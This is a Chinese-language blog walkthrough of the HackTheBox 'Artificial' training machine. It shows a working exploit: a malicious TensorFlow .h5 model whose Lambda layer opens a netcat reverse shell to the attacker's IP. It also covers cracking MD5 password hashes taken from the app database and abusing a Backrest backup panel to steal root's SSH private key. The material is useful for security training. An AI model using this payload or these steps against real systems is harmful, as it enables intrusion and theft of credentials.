HackTheBox Artificial Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Artificial

靶场地址:

https://app.hackthebox.com/machines/Artificial

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

注册用户并登录后台 –> 下载 dockerfile –> 构建容器 –> 生成反弹 shell 的 h5 文件 –> 后台上传 h5 文件 –> app 用户权限 –> user.db 数据库解密用户密码 –> gael 用户密码 –> 用户旗帜

权限提升(获取管理员旗帜):

ssh 转发靶机 9898 端口(backrest 程序) –> 备份文件泄露 backrest 后台密码 –> 利用 backrest 后台备份靶机 root 私钥文件 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 10.129.181.234 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:

1
2
3
sudo nmap -p- -sU 10.129.181.234 --min-rate=2000 --open

All 65535 scanned ports on artificial.htb (10.129.181.234) are in ignored states.

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
sudo nmap -p22,80 -sCV 10.129.181.234

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 TensorFlow 恶意模型远程代码执行漏洞

在 kali 添加靶机域名解析。

1
echo "10.129.181.234\tartificial.htb" | sudo tee -a /etc/hosts

访问靶机 HTTP 服务,页面存在登录按钮,可注册用户登录后台。

后台存在文件上传接口,在网站源码发现上传类型为.h5 格式文件,可下载 requirements 和 dockerfile 文件。

dockerfile

requirements

根据以上信息猜测,大概率需要上传包含恶意代码的.h5 文件,然后获取靶机反弹 shell。而根据 dockerfile 和 requirements 判断网站极有可能部署了 TensorFlow 服务。

搜索引擎检索 TensorFlow .h5 exploit 发现存在可利用 EXP。

参考链接:

1
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model

构建 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
import tensorflow as tf

def exploit(x):
import os
os.system("busybox nc 10.10.16.23 1234 -e /bin/bash")
return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

由于 tensorflow 运行环境最大为 python 3.9,而 kali 默认版本已经超过了 3.9,使用之前下载的 dockerfile 构建容器运行 EXP。

1
2
3
4
5
6
7
8
# 在 Dockerfile 文件目录执行
sudo docker build -t my-image .
sudo docker run -it --rm my-image
# 复制生成反弹 shell 的文件至容器
sudo docker cp ./shell.py brave_mirzakhani:/code
python shell.py
# 执行完成拷贝至 kali
sudo docker cp brave_mirzakhani:/code/exploit.h5 ./

按照以上步骤构建完成后,执行 python 脚本可能会报错,提示系统限制导致无法执行。这是由于虚拟机 CPU 缺少 avx 等指令集造成的,而修复该配置需要在虚拟机开启 Intel-VT-x/EPT,Windows 11 系统默认开启了虚拟化安全配置,导致虚拟机无法开启该选项。网上找了很多关闭方案,更多的是一些临时解决办法,一旦系统关机重启,系统的虚拟化安全配置又会被打开。如果不开启 Intel-VT-x/EPT 对于 VMware 终端页面,会有明显的输入延迟(对于个人而言),非常恶心,最终在一款模拟器解决方案中找到了一个程序可以永久性关闭 Windows 虚拟化的安全。

3.2.2 关闭 Windows 虚拟化安全开启虚拟机 Intel-VT-x/EPT 功能

参考链接:

1
https://help.ldmnq.com/docs/xu-ni-fu-wu-hyperv-guan-bi-jiao-cheng

kali 使用 nc 监听 1234 端口,将生成的 h5 文件上传至后台,点击 View Predictions,得到了系统 app 用户反弹 shell。

升级为交互式 shell。

3.2.3 Sqlite 数据库 user 表泄露 gael 用户密码

通过 app 目录的 app.py 得知程序使用了 sqlite 数据库,且用户密码使用了 md5 加密。

使用 sqlite3 连接 instance 目录 user.db 文件,在数据库 user 表得到了加密的用户密码。

将密码保存至本地,使用 hashcat 破解,成功得到 gael 和 royer 用户密码。

1
2
3
4
5
gael:c99175974b6e192936d97224638a34f8
mark:0f3d8c76530022670f1c6029eed09ccb
robert:b606c5f5136170f15444251665638b36
royer:bc25b1f80f544c0ab451c02a3dca9fc6
mary:bf041041e57f1aff3be7ea1abd6129d0
1
hashcat hash ~/Desktop/rockyou.txt --username

靶机存在 gael 用户,使用获取的密码通过 ssh 成功登录靶机。

1
ssh gael@10.129.181.234

3.2.4 用户旗帜获取

3.3 提权获取系统最高权限(获取管理员旗帜)

3.3.1 备份文件泄露 backrest 应用后台密码

查看系统网络连接,发现本地存在 9898 端口,使用 ssh 将其转发至 kali 本地。

1
ssh -fCNg -L 9898:127.0.0.1:9898 gael@10.129.181.234

访问本地 9898 端口发现系统为 backrest 1.7.2 版本,检索后未发现应用已知漏洞。

在靶机/var/backups 目录发现了 backrest 应用备份文件,且 gael 用户对其具有读取权限。

将文件复制至 tmp 目录,解压后在 config.json 文件得到了 web 后台密码。

1
2
3
cp backrest_backup.tar.gz /tmp
tar -xvf backrest_backup.tar.gz
cat backrest/.config/backrest/config.json

首先将密码进行 base63 解码,然后使用 hashcat 破解,得到了 backrest_root 用户密码。

1
2
backrest_root
!@#$%^

3.3.2 Backrest 后台备份功能提升至 root 权限

登录 backrest 后台,发现其存在文件备份功能。

步骤一: 添加存储库,任意值即可。

步骤二: 添加计划任务,备份/root/.ssh 目录。

步骤三: 点击恢复文件,恢复完成可进行下载。

步骤四: 下载私钥文件以 root 身份连接靶机。

1
2
chmod 600 id_rsa
ssh -i id_rsa root@10.129.181.234

3.3.3 管理员旗帜获取

Thanks

🎓 新手福利|Hack The Box 学院推荐

🧑‍💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!

📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。

📌 建议优先完成模块:「Introduction to Academy
✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!

📝 首次访问需注册账号,支持邮箱注册或 GitHub / Google 快速登录。

🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:
https://referral.hackthebox.com/mzCXyui

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


HackTheBox Artificial Write-up
https://www.f0nesec.top/2025/08/10/hackthebox-artificial/
作者
F0ne
发布于
2025年8月10日
许可协议